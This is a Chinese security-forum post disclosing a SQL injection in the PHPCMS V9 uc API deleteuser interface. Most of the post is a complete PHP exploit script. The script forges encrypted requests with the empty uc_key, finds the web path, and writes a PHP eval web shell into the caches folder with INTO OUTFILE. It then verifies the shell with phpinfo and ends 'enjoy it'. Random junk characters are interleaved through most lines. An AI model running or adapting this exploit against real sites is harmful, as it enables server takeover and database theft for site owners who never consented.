中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。/ X0 x. ^% }& s- K- `! E

" F( `6 h9 I6 e) [6 n" }所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。" y1 P) s; {* [' q

5 O" x) y9 d$ Y' t, U7 O漏洞分析:
5 _! V2 n" v: }7 i' c! t1.未启用ucenter服务的情况下uc_key为空
* f4 y6 d  D4 @3 i# V9 r# z7 adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 s1 g* T" L6 i/ l' n2 S2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
1 h7 P4 }& G6 Z5 s6 r* W' \' D    public function deleteuser($get,$post) {
+ y# x9 A9 M' A- z        pc_base::load_app_func('global', 'admin');
- K; z7 u  b# Q( i3 i        pc_base::load_app_class('messagequeue', 'admin' , 0);8 N$ t+ z' q1 V& I, s- o
        $ids = new_stripslashes($get['ids']);
1 d  F9 n  C# r6 ^/ `8 J( u, h( K        $s = $this->member_db->select("ucuserid in ($ids)", "uid");# z. t: N4 V# v1 D
SQL语句为8 s. E4 U0 q- F
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 r3 X  K9 \5 n
, m2 k' t6 t' J" @1 t利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
1 _6 V# @( {3 o: Q<?php
, n/ I7 O) g  p% n7 sprint_r('! g: Y; P: L' i" ?
---------------------------------------------------------------------------
- h1 r5 B+ \6 L6 T- e% M4 L, sPHPcms (v9 or Old Version) uc api sql injection 0day$ q% y+ C& w+ q; a1 A) q! G- c
by rayh4c#80sec.com
5 q, g% M/ O" C4 x) E---------------------------------------------------------------------------0 V" p; n/ n- h+ k1 N
');
& i# n( v5 L" q" D
2 i9 _& f- a8 D4 J+ ?! |5 A4 bif ($argc<3) {
4 {- d5 }- a2 V5 {' `$ ~5 @    print_r('
' \# ^7 p; v3 Q! q---------------------------------------------------------------------------" j4 H" c6 N0 q, e+ E
Usage: php '.$argv[0].' host path OPTIONS
; g+ J' v: @( {* Bhost:      target server (ip/hostname), @8 G2 s. B8 U% Q4 A$ j/ b4 w
path:      path to phpcms
) @$ N5 X' m( ~' FOptions:
1 e; ~$ X7 D/ `. c+ f7 \' U8 N -p[port]:    specify a port other than 80
( u: i, ]0 b+ T -P[ip:port]: specify a proxy- ^/ @) i0 s, G# v& M
Example:
) o# `& A4 _2 k8 ~php '.$argv[0].' localhost /
3 v4 J6 v' ^: y8 Q. Lphp '.$argv[0].' localhost /phpcms/ -p81
6 c# Z- r- X9 [* _" m# ^php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80% o3 P# r" h0 e/ b% D0 h
---------------------------------------------------------------------------& }) C, a' c+ E  i* J$ [
');
, T, L- Y* U+ `8 I    die;5 ~. G7 r: t9 j+ Q
}
' U( U0 A3 j6 u+ e; v# y( M' `2 e* I4 ~
error_reporting(7);
3 u* o8 }* A: e1 D8 }4 m) |ini_set("max_execution_time",0);
% X9 v0 \! L8 f) i, ~& W4 hini_set("default_socket_timeout",5);
) }. @* b5 q! x4 U2 s( T- O( V: z+ R: F; Y
function quick_dump($string)
& B' v$ S+ j9 ~/ t# h7 K! `{
- z3 s8 M  }, M  $result='';$exa='';$cont=0;
' X% V6 ^  P6 |3 q0 e+ H  for ($i=0; $i<=strlen($string)-1; $i++)" r, E6 i' d+ E# z
  {
2 A, z4 ]4 V9 a0 h" `   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. R! c. W5 `# z" q$ D* d   {$result.="  .";}
: Q5 \. I5 x/ ^6 B% d' M   else
7 q. V! A. f# \- V8 g   {$result.="  ".$string[$i];}
5 ?5 V  x3 W: S5 q( R   if (strlen(dechex(ord($string[$i])))==2)
% z6 d0 f0 j# r8 M! J   {$exa.=" ".dechex(ord($string[$i]));}
& m$ W" I/ A' Q& _   else
7 `' [5 p& D; t7 B   {$exa.=" 0".dechex(ord($string[$i]));}
$ G( J( O* d( L2 X+ c   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
2 I& f, q4 Q& G3 J* A+ {0 I9 @  }
7 l& u' ~7 ?0 w  e return $exa."\r\n".$result;/ n8 j. ?8 C. B! B
}
6 e. K0 S$ O' {8 U( }! C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; ~! G6 M6 t/ _+ w8 F" [' l1 y. L# q5 K/ ?4 i" k# S
function send($packet)
. R7 A; e8 a* Q. ~{
3 F. q/ ^" {4 Y  global $proxy, $host, $port, $html, $proxy_regex;
  U9 M$ K' S. n* x3 m. w/ h% N1 r9 A' q  if ($proxy=='') {
% V5 q5 [) Q/ L) }& H. _% k    $ock=fsockopen(gethostbyname($host),$port);" t6 N5 ]7 z9 ~6 P% [1 e4 P
    if (!$ock) {; o3 M4 ]9 I& _
      echo 'No response from '.$host.':'.$port; die;! A% U: X! k# B  M
    }/ C& t8 E& w) i( H/ ]
  }# x. J" Q- f; C* y& N% `& ]! W* Z; P
  else {1 _3 _; }9 F' A0 T
        $c = preg_match($proxy_regex,$proxy);2 J0 P; M6 e, t# M) F% h
    if (!$c) {
) V. c. D- b! t, `+ b- j( X      echo 'Not a valid proxy...';die;
: m! l5 q6 A4 M6 \    }
  Q7 d1 N: w, \$ R: ]! Q4 r: Q9 _    $parts=explode(':',$proxy);0 t0 H/ T& `3 `/ r- y$ F
    $parts[1]=(int)$parts[1];, q8 ]7 U- D, R4 V" j
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
# w. Y( Z" D5 b6 }  a7 R% G    $ock=fsockopen($parts[0],$parts[1]);+ K3 ~# m) W/ C* J" H# w" [% b3 H* F
    if (!$ock) {/ Y% d2 N: b3 [$ K0 t8 |. R! V0 X. Q
      echo 'No response from proxy...';die;
( O; V! u! [) [. p# k: `$ M3 x        }
3 u1 k) Z! d: s: A+ `7 S* _: {  }
. V# W( Q% I, t& n: v, D' I  fputs($ock,$packet);
/ V) U2 \- P( L: _' T6 e  if ($proxy=='') {
8 p3 V3 V* ~! c2 {    $html='';& C( K4 S. _& r: F1 x  D
    while (!feof($ock)) {
- G0 b# i) Y$ e. P) E) H1 P      $html.=fgets($ock);* m0 Y3 q; G! e& z% T
    }
0 o2 g! q! ^% S  }
9 l; F4 H! h/ O( F6 @. f8 O9 E  else {, X$ v( I3 d4 w7 N& ~' M# ^" g
    $html='';. d# O$ j1 W/ P8 }  ]
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {. H7 P' D8 H) ^! c
      $html.=fread($ock,1);
4 z4 A" T6 M  x0 Q! @0 ?    }
0 Z2 d0 |4 f) h# ^4 {( n  d: Y+ a, O7 z  }
. [$ C4 s6 t& C' }  fclose($ock);
, {9 [7 C' f, g$ L# H* |}
0 l* B6 \7 ~* a1 B4 ?
" S0 X5 e4 ^! R) h& q$host=$argv[1];8 ~5 A7 D. i+ f3 H8 _. ]! m. y+ K
$path=$argv[2];
$ X0 _4 x; n& n4 D" j$port=80;
5 ?3 B1 y" I5 Y  Z! ^$proxy="";9 i' Z5 h2 S+ p( f7 f$ F. K
for ($i=3; $i<$argc; $i++){/ Y/ ^6 T; i+ u2 T1 F4 \$ S- S# u
$temp=$argv[$i][0].$argv[$i][1];
) `# Q9 I- Q; E0 N7 ^+ uif ($temp=="-p")7 T+ c) V" a3 o5 f4 x. q
{1 O! x$ D6 B; K$ @9 {( w' a
  $port=(int)str_replace("-p","",$argv[$i]);
7 Q/ q' z3 c4 e& Q}
+ ?/ v1 Z, u0 e7 x- lif ($temp=="-P")) E/ Q( E8 Q  ^, a: {# F. v4 W
{
2 t0 `; o( v9 d, B; P; _' Y  $proxy=str_replace("-P","",$argv[$i]);
& c3 i0 Z" ^* W3 ~}
; H* Q; ]  ]- y& k1 `5 A1 n9 V- j}
& n" r* X8 }3 j7 G" c: p- R
. G0 N* D5 a9 J1 W/ N) Hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}) G) c1 v8 n* E
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}( x( S7 D% C6 k: K& Y
% R! v/ h' n, [$ M2 G6 V/ i* K
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
/ {4 q0 @. E# t6 I7 b3 ]& B8 w1 D
) N( P1 c# ~% R+ ]/ k    $ckey_length = 4;& C% a  E+ d" j- g3 p, c( i
. w5 {8 x$ L: Z+ }! b+ i& `& h- p
    $key = md5($key ? $key : '');3 v4 }2 \1 V# R
    $keya = md5(substr($key, 0, 16));
4 \3 e7 s: [1 Q6 I. Y    $keyb = md5(substr($key, 16, 16));, L5 i4 v3 T/ m1 Y0 w+ J8 P
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$ e) l8 J; H& F( k+ e4 L

( `% G3 ^: G0 p* @    $cryptkey = $keya.md5($keya.$keyc);% Y* x. _/ m. q, a5 `
    $key_length = strlen($cryptkey);4 d0 t* K$ g% b# P: z

, {- b- p# r% [9 t# X# t    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;& f1 E- {: M% s+ X& Y: p3 g/ e
    $string_length = strlen($string);' z) h7 T; c( @3 I7 u" Z& J

/ E8 a& e% ]2 A& c  X7 I    $result = '';
/ Y! U4 ]( H& ]# h    $box = range(0, 255);7 u7 [9 W+ h1 y& c$ r* n3 e8 i
2 e, \3 i6 P: I# U+ L
    $rndkey = array();) e. w* A4 _8 B9 W
    for($i = 0; $i <= 255; $i++) {% x) V2 b. [/ Q6 ~
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);0 [+ {& z- {1 s
    }) A. w8 ]6 |5 @' K( A8 {; z! f
7 a/ H! m- _/ j+ p+ S0 i1 o
    for($j = $i = 0; $i < 256; $i++) {
! ~: a- Q: y" @+ Q        $j = ($j + $box[$i] + $rndkey[$i]) % 256;) T& d/ N! P7 f( j4 u# o) w
        $tmp = $box[$i];
* i4 N# e  j6 |$ H& _" l1 s        $box[$i] = $box[$j];
6 q1 ?# M* W! m0 _7 N4 ~0 n        $box[$j] = $tmp;4 H) i& Q! T. o* J
    }$ W+ N; a/ }/ z- ]  y0 d) i* P

" M2 I9 s" d: ~; W    for($a = $j = $i = 0; $i < $string_length; $i++) {5 s/ X  ]2 W9 s7 _, V/ _- P
        $a = ($a + 1) % 256;  I2 _/ H$ L9 {9 j: l) v: E1 u
        $j = ($j + $box[$a]) % 256;
) o, x" L& _5 R( y: ?! c, t        $tmp = $box[$a];2 e3 I0 w) R) u+ p: N8 W
        $box[$a] = $box[$j];
) H0 p' K  L& H# G1 t( ^, ]        $box[$j] = $tmp;& j6 l4 k: {9 C: O! W- W+ J/ j
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  b, y* x6 L- M7 p6 j3 b    }4 z) A% u& z% \& ]& H0 u) F" e

( V: h" p8 N' e0 O) p' T    if($operation == 'DECODE') {
( [& l* p$ B/ e; |( g3 S$ l        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {+ `; a( h+ Z! {" W
            return substr($result, 26);6 i+ c6 `1 {# k: W& D6 j9 V% ?
        } else {) F) L* m  f& N. {3 V
            return '';8 H9 z# ~. d' }( |1 X( ^
        }
; g3 ^) p' A3 u8 b# ?$ }% l+ `; N, y0 y    } else {
( V, T- i8 D* }( p2 h) ]2 y6 N        return $keyc.str_replace('=', '', base64_encode($result));( J  O2 u) `& V2 r/ D$ o! }
    }0 a* q3 A$ Y% }( _1 |6 j& G% s

  l' N8 f( G. o" f4 U}
+ w. n8 ~) y; `7 \) X) U$ a. |
' G' j3 w: x4 K$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";+ \! |' m( G- K1 U# a: t
$SQL = urlencode(authcode($SQL, "ENCODE", ""));: P7 d3 c" s- e, l9 e5 M; v
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( y# U+ y" l' f5 e2 B* P7 W$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. k* c* L7 g3 W3 R8 Q
$packet.="User-Agent: Mozilla/5.0\r\n";" L  \/ R) h4 @' L6 g" P
$packet.="Host: ".$host."\r\n";
5 y% d1 o) n7 U9 T0 O% Y, [- l$packet.="Connection: Close\r\n\r\n";% p, q7 |2 e' G. v; @) K
send($packet);8 Y+ Z. t/ Y* j) U% C2 I, \
if(strpos($html,"MySQL Errno") > 0){
& B4 _2 ]. T% n' _4 Fecho "[2] 发现存在SQL注入漏洞"."\n";
; c1 ]* y# N. F; pecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";# Z' |- `4 W3 O+ M2 G, J$ Z
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";* k  \; z" F2 C  A# K: k
$packet.="User-Agent: Mozilla/5.0\r\n";: @6 \. L. b3 q3 i* T
$packet.="Host: ".$host."\r\n";- i! W# l( E/ I# Z3 p" c8 i( y
$packet.="Connection: Close\r\n\r\n";4 D# S6 J0 l& i. E" O8 L
send($packet);2 b3 h$ L- ~% ?* j$ W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
6 v+ T. h+ \8 Q; ]: R//print_r($matches);
. H& [7 o9 q% l; z: G3 Rif(!empty($matches)){' k% k2 |1 M  r0 f& w
echo "[4] 得到web路径 " . $matches[0]."\n";( T  l: J+ Q/ B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";5 ^* V, u1 @& d/ l* M
$SQL = "time=999999999999999999999999&ids=1)";, \3 b5 o9 q/ X! J9 `6 r6 A
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";( Q4 ]9 Y. N3 i# n! `
$SQL.="&action=deleteuser";
) l/ W- H6 k5 q( [* d) b. i  {$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ b- c4 e/ L' {  b1 `6 N- ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 w- o; X$ E7 Z$ ?$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";6 b! z% X/ U. i1 r! y) F" U# O
$packet.="User-Agent: Mozilla/5.0\r\n";
7 R7 d. W6 c! ^& Q# v3 ]8 V3 F$packet.="Host: ".$host."\r\n";
7 h# v: l+ p4 d- e7 b2 u$packet.="Connection: Close\r\n\r\n";! i8 h3 o) Z+ `( t+ Q: w* L  u& E
send($packet);- T8 Z  F) C6 H8 x* N7 y
if(strpos($html,"Access denied") > 0){$ j) l/ D2 ?! Z5 m7 z
echo "[-] MYSQL权限过低 禁止写入文件 ";
$ E! j$ K2 f( R% U) Idie;3 l  ^* Q1 V7 v) R
}2 D6 ?+ s. Y# I8 R3 c
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- s: {5 A( p- T& Q6 t" O- z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ \/ B1 U8 H' f5 I$packet.="User-Agent: Mozilla/5.0\r\n";
7 H& o3 ]1 D9 S$packet.="Host: ".$host."\r\n";
9 ]6 s0 j9 ^* F# O$ r: |9 S* h$packet.="Connection: Close\r\n\r\n";
" l; Y  _4 y0 r1 _# K8 I! Osend($packet);
& p6 G0 x: p" p* I, ?1 }; R: \if(strpos($html,"<title>phpinfo()</title>") > 0){. h' w4 f% B3 U$ @7 u3 R: I
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";: C/ r) k8 S7 x5 ^+ X6 \8 M
}1 i% K$ V+ v& a% f6 A" c
}else{  f6 G; y- N# s  w* j8 s/ H( m' C
echo "[-]未取到web路径 ";4 N" ?5 `) o( O2 W7 ?
}# j/ k+ D3 K" m7 d
}else{5 ], q( Q. S8 \' S
echo "[*]不存在SQL注入漏洞"."\n";
3 @6 y( q% }0 E& I# l6 X}, J7 t/ S/ {5 v5 U: D/ b' R$ G
8 S  k; z) b% I$ U
?>
. O0 Q  H- V8 C& ?* v! B1 t$ n




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2